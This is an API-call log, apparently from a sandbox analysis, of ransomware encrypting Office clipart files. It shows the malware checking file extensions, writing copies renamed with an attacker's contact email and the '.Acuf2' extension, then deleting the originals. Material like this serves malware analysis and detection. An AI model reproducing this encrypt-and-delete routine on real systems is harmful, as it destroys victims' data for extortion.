	[0254.925] lstrlenW (lpString=".pdf") returned 4
	[0254.925] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.925] lstrlenW (lpString=".xls") returned 4
	[0254.925] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.925] lstrlenW (lpString=".xlsx") returned 5
	[0254.925] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.925] lstrlenW (lpString=".ppt") returned 4
	[0254.925] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.925] lstrlenW (lpString=".zip") returned 4
	[0254.925] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.925] lstrlenW (lpString=".rar") returned 4
	[0254.925] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.925] lstrlenW (lpString=".bz2") returned 4
	[0254.925] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.925] lstrlenW (lpString=".7z") returned 3
	[0254.925] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.925] lstrlenW (lpString=".dbf") returned 4
	[0254.925] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.925] lstrlenW (lpString=".1cd") returned 4
	[0254.925] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.925] lstrlenW (lpString=".jpg") returned 4
	[0254.925] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.925] lstrlenW (lpString=".doc") returned 4
	[0254.926] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.926] lstrlenW (lpString=".docx") returned 5
	[0254.926] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.926] lstrlenW (lpString=".pdf") returned 4
	[0254.926] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.926] lstrlenW (lpString=".xls") returned 4
	[0254.926] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.926] lstrlenW (lpString=".xlsx") returned 5
	[0254.926] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.926] lstrlenW (lpString=".ppt") returned 4
	[0254.926] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.926] lstrlenW (lpString=".zip") returned 4
	[0254.926] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.926] lstrlenW (lpString=".rar") returned 4
	[0254.926] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.927] lstrlenW (lpString=".bz2") returned 4
	[0254.927] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.927] lstrlenW (lpString=".7z") returned 3
	[0254.927] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.927] lstrlenW (lpString=".dbf") returned 4
	[0254.927] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.927] lstrlenW (lpString=".1cd") returned 4
	[0254.927] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.927] lstrlenW (lpString=".jpg") returned 4
	[0254.927] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.927] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.927] lstrlenW (lpString="INDST_01.MID") returned 12
	[0254.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0254.990] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=8568) returned 1
	[0254.990] CloseHandle (hObject=0x328) returned 1
	[0254.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20
	[0254.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0254.991] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.991] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.991] GetLastError () returned 0x0
	[0254.991] ReadFile (in: hFile=0x328, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x2178, lpOverlapped=0x0) returned 1
	[0254.994] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x2180, lpOverlapped=0x0) returned 1
	[0254.995] ReadFile (in: hFile=0x328, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.995] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.995] SetEndOfFile (hFile=0x350) returned 1
	[0254.995] CloseHandle (hObject=0x350) returned 1
	[0254.995] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.995] SetEndOfFile (hFile=0x328) returned 1
	[0255.001] CloseHandle (hObject=0x328) returned 1
	[0255.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1
	[0255.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.002] lstrlenW (lpString=".doc") returned 4
	[0255.002] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.002] lstrlenW (lpString=".docx") returned 5
	[0255.002] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.002] lstrlenW (lpString=".pdf") returned 4
	[0255.002] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.002] lstrlenW (lpString=".xls") returned 4
	[0255.002] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.002] lstrlenW (lpString=".xlsx") returned 5
	[0255.002] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.002] lstrlenW (lpString=".ppt") returned 4
	[0255.002] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.002] lstrlenW (lpString=".zip") returned 4
	[0255.002] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.002] lstrlenW (lpString=".rar") returned 4
	[0255.002] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.002] lstrlenW (lpString=".bz2") returned 4
	[0255.002] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.002] lstrlenW (lpString=".7z") returned 3
	[0255.002] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.002] lstrlenW (lpString=".dbf") returned 4
	[0255.002] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.002] lstrlenW (lpString=".1cd") returned 4
	[0255.002] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.002] lstrlenW (lpString=".jpg") returned 4
	[0255.003] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.003] lstrlenW (lpString=".doc") returned 4
	[0255.003] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.003] lstrlenW (lpString=".docx") returned 5
	[0255.003] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.003] lstrlenW (lpString=".pdf") returned 4
	[0255.003] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.003] lstrlenW (lpString=".xls") returned 4
	[0255.003] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.003] lstrlenW (lpString=".xlsx") returned 5
	[0255.003] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.003] lstrlenW (lpString=".ppt") returned 4
	[0255.003] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.003] lstrlenW (lpString=".zip") returned 4
	[0255.003] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.003] lstrlenW (lpString=".rar") returned 4
	[0255.003] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.003] lstrlenW (lpString=".bz2") returned 4
	[0255.003] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.003] lstrlenW (lpString=".7z") returned 3
	[0255.003] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.003] lstrlenW (lpString=".dbf") returned 4
	[0255.003] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.003] lstrlenW (lpString=".1cd") returned 4
	[0255.003] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63
	[0255.004] lstrlenW (lpString=".jpg") returned 4
	[0255.004] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.004] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.004] lstrlenW (lpString="NBOOK_01.MID") returned 12
	[0255.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.009] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=5968) returned 1
	[0255.009] CloseHandle (hObject=0x328) returned 1
	[0255.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20
	[0255.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.010] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.010] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0255.010] GetLastError () returned 0x0
	[0255.010] ReadFile (in: hFile=0x328, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1750, lpOverlapped=0x0) returned 1
	[0255.012] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1760, lpOverlapped=0x0) returned 1
	[0255.013] ReadFile (in: hFile=0x328, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.013] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.013] SetEndOfFile (hFile=0x350) returned 1
	[0255.013] CloseHandle (hObject=0x350) returned 1
	[0255.013] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.013] SetEndOfFile (hFile=0x328) returned 1
	[0255.015] CloseHandle (hObject=0x328) returned 1
	[0255.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1
	[0255.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.016] lstrlenW (lpString=".doc") returned 4
	[0255.016] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.016] lstrlenW (lpString=".docx") returned 5
	[0255.016] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.017] lstrlenW (lpString=".pdf") returned 4
	[0255.017] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.017] lstrlenW (lpString=".xls") returned 4
	[0255.017] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.017] lstrlenW (lpString=".xlsx") returned 5
	[0255.017] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.017] lstrlenW (lpString=".ppt") returned 4
	[0255.017] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.017] lstrlenW (lpString=".zip") returned 4
	[0255.017] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.017] lstrlenW (lpString=".rar") returned 4
	[0255.017] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.017] lstrlenW (lpString=".bz2") returned 4
	[0255.017] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.017] lstrlenW (lpString=".7z") returned 3
	[0255.017] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.017] lstrlenW (lpString=".dbf") returned 4
	[0255.017] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.017] lstrlenW (lpString=".1cd") returned 4
	[0255.017] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.017] lstrlenW (lpString=".jpg") returned 4
	[0255.017] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.018] lstrlenW (lpString=".doc") returned 4
	[0255.018] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.018] lstrlenW (lpString=".docx") returned 5
	[0255.018] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.018] lstrlenW (lpString=".pdf") returned 4
	[0255.018] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.018] lstrlenW (lpString=".xls") returned 4
	[0255.018] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.018] lstrlenW (lpString=".xlsx") returned 5
	[0255.018] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.018] lstrlenW (lpString=".ppt") returned 4
	[0255.018] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.018] lstrlenW (lpString=".zip") returned 4
	[0255.018] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.018] lstrlenW (lpString=".rar") returned 4
	[0255.018] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.018] lstrlenW (lpString=".bz2") returned 4
	[0255.018] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.018] lstrlenW (lpString=".7z") returned 3
	[0255.018] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.018] lstrlenW (lpString=".dbf") returned 4
	[0255.018] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.018] lstrlenW (lpString=".1cd") returned 4
	[0255.018] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63
	[0255.018] lstrlenW (lpString=".jpg") returned 4
	[0255.018] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.019] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.019] lstrlenW (lpString="OCEAN_01.MID") returned 12
	[0255.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.020] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=5440) returned 1
	[0255.020] CloseHandle (hObject=0x328) returned 1
	[0255.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20
	[0255.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.020] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.020] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0255.020] GetLastError () returned 0x0
	[0255.020] ReadFile (in: hFile=0x328, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1540, lpOverlapped=0x0) returned 1
	[0255.022] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1550, lpOverlapped=0x0) returned 1
	[0255.023] ReadFile (in: hFile=0x328, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.023] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.023] SetEndOfFile (hFile=0x350) returned 1
	[0255.023] CloseHandle (hObject=0x350) returned 1
	[0255.023] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.023] SetEndOfFile (hFile=0x328) returned 1
	[0255.025] CloseHandle (hObject=0x328) returned 1
	[0255.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 1
	[0255.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.026] lstrlenW (lpString=".doc") returned 4
	[0255.026] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.026] lstrlenW (lpString=".docx") returned 5
	[0255.026] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.026] lstrlenW (lpString=".pdf") returned 4
	[0255.026] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.514] lstrlenW (lpString=".xls") returned 4
	[0255.514] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.514] lstrlenW (lpString=".xlsx") returned 5
	[0255.514] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.515] lstrlenW (lpString=".ppt") returned 4
	[0255.515] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
